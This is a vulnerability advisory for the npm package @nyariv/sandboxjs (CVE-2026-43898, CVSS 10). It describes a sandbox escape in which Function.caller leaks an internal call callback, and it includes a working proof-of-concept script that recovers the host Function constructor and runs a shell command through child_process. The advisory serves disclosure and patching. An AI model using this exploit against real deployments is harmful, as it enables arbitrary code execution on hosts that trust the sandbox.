PT-2026-39892 · Npm · @Nyariv/Sandboxjs

Published

2026-05-11

·

Updated

2026-05-11

·

CVE-2026-43898

CVSS v3.1

10

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

Sandbox-defined functions expose Function.caller, allowing sandboxed code to recover the internal LispType.Call runtime callback. That callback can then be invoked with attacker-controlled fake context and obj values to extract blocked host statics, recover the real host Function constructor, and execute arbitrary host JavaScript.

Details

In executorUtils.ts createFunction() constructs normal host JS functions, and because these are ordinary host functions, sandbox code can observe:
function f(){ return f.caller }
That leaks the host-side callback that invoked the sandbox function. This leaked callback is the internal LispType.Call op, which is registered in call.ts. The leaked callback accepts a params object from the attacker and uses its fields without any authentication checks. if you looked at those branches call.ts:47, call.ts:70, call.ts:149. This means the attacker controls obj.context, obj.prop, obj.get, context.evals.get and a. This can lead to direct invocation of an internal primitive with forged operands

PoC

const sandb = require('@nyariv/sandboxjs').default;
const sand = new sandb(); 

const payload = `
const callOp = (function fn() { return fn.caller; })();

function makeContext(capture = () => {}) {
 return { ctx: { options: 0 }, evals: { get: capture } };
}

function leakStatic(obj, prop) {
 let leaked;
 callOp({
  done() {},
  a() {},
  b: [],
  obj: { context: obj, prop, get() {} },
  context: makeContext((fn) => (leaked = fn, () => 1))
 });
 return leaked;
}

function callDirect(fn, args) {
 let value;
 callOp({
  done( , result) { value = result; },
  a() {},
  b: args,
  obj: fn,
  context: makeContext()
 });
 return value;
}

callDirect(leakStatic(Object, 'defineProperty'), [
 leakStatic,
 'call',
 callDirect(leakStatic(Object, 'getOwnPropertyDescriptor'), [
  callDirect(leakStatic(Object, 'getPrototypeOf'), [() => 0]),
  'constructor'
 ])
]);

let hostFn;
callOp({
 done( , result) { hostFn = result; },
 a: leakStatic,
 b: [],
 obj: {
  context: 'return process.getBuiltinModule("child process").execSync("whoami").toString()',
  get() {}
 },
 context: makeContext()
});

return hostFn();
`;

console.log(sand.compile(payload)().run());

Impact

Sandbox escape leads to RCE

Fix

Code Injection

Weakness Enumeration

CWE-94

Related Identifiers

CVE-2026-43898
GHSA-G8F2-4F4F-5JQW

Affected Products

@Nyariv/Sandboxjs